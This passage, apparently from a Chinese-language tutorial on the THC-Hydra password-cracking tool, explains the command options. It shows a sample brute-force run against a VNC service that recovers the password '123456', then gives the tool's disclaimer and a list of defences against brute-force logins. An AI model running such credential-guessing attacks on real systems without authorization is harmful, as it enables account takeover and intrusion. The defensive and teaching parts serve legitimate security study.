-L,指定使用者名稱列表,注意大小寫不同

-P,指定密碼列表

-e,嘗試null和相同(與使用者名稱相同)密碼

-t,以指定要執行的parralel程序的數量

那麼目標IP和服務

-v,用於詳細

讓我們嘗試執行它與常用的東西..

# hydra -l "" -P ./pass -e n -t 1 10.0.0.100 vnc -V

Hydra v4.6 (c) 2005 by van Hauser / THC - use allowed only for legal purposes.

Hydra (http://www.thc.org) starting at 2005-12-28 17:49:28

[DATA] 1 tasks, 1 servers, 8 login tries (l:1/p:8), ~8 tries per task

[DATA] attacking service vnc on port 5900

[5900][vnc] host: 10.0.0.100 login: password: 123456

[STATUS] attack finished for 10.0.0.100 (waiting for childs to finish)

Hydra (http://www.thc.org) finished at 2005-12-28 17:49:30

正如你所看到的那樣,VNC也是如此,所有我改變的是…

將使用者名稱指定為null,-l“”

停止檢查相同的密碼,-en

簡單,強大,實用

0×06免責說明

1.請勿在軍事或祕密服務機構或非法目的使用。

2.Affero通用公共許可證版本3(AGPLv3)適用於此程式碼。

3.包含了OpenSSL的特殊許可擴充套件,這是Debian家族所需要的

0×07聯絡我們

誠心需要大家的幫助!

如果您發現錯誤,編碼增強功能或為服務寫入新的攻擊模組,請將它們傳送到[email protected]

有趣的攻擊模組將是:OSPF,BGP,PIM,PPTP,…(或任何你可能做的事情(而且還沒有)

請注意,您也可以通過github下載並提交:https://github.com/vanhauser-thc/thc-hydra

非常感謝大家的建議!

Yourssincerly,

vanHauser

TheHackersChoice

http://www.thc.org/thc-hydra

0×08防範措施

由於在攻擊期間導致的失敗的登入嘗試次數很多,所以爆破是非常容易發現的。有幾種有效的策略來檢測和預防這種攻擊。

1.最有效的策略之一是限制失敗的登入嘗試次數。使用此策略可以在一定數量的故障之後阻止主機或鎖定帳戶。在實施這種方法時應該小心,因為攻擊者可能會故意導致帳戶被鎖定而導致拒絕服務條件。由於響應有效的使用者引起認證失敗,使用此策略也會提高服務的支援成本。

2.另一個策略是限制連線嘗試。許多服務允許配置此值。通過限制連線嘗試次數,可能必須重新啟動攻擊工具才能完成攻擊。這種型別的配置可能會使攻擊者充分混淆,從而使他們遠離。至少它會防止自動攻擊。

3.每次失敗的嘗試增加服務響應時間是另一個可以在許多情況下執行的策略。該策略涉及連續增加每次失敗的認證嘗試的響應時間。這意味著首先發生小的延遲,但隨著攻擊的進行,延遲更長和更長。這是一種非常有效和不引人注意的挫敗暴力攻擊的方法。

4.只要服務建立某種失敗的日誌,檢測爆破就很容易。最常見的入侵檢測系統(IDS)應該能夠在短時間內檢測大量失敗的登入嘗試。這種方法的缺點是攻擊者可能會洪泛一個系統來產生大量的IDS事件通知,這些通知可以用於分析人員引發資訊超載。充斥警報的分析人員將難以通過所有通知來識別實際的攻擊,因此攻擊者可能能夠隱藏大量攻擊的攻擊垃圾。

5.審計系統密碼也是一個有效的防範。通過檢查你自己的系統以確保常用的使用者名稱和密碼不允許訪問,你可以確保使用Hydra和普通使用者和密碼列表的攻擊者無法訪問。這種型別的滲透測試可能是耗時的,但是可能會在暴力攻擊開始或成功之前提醒運營商潛在的漏洞。

6.檢查你的日誌。確保你檢查任何系統日誌可疑活動。當我執行這些測試時,目標伺服器的日誌顯示了很多失敗的登入,始終是發生事件的一個明確的跡象

7.正確設定你的服務 在關閉會話之前只允許一定數量的登入,如果可能的話,可以鎖定誰可以從哪裡登入

8.使用好的密碼

最後一件事,在某種惡意的事情之前檢測到這種型別的事情。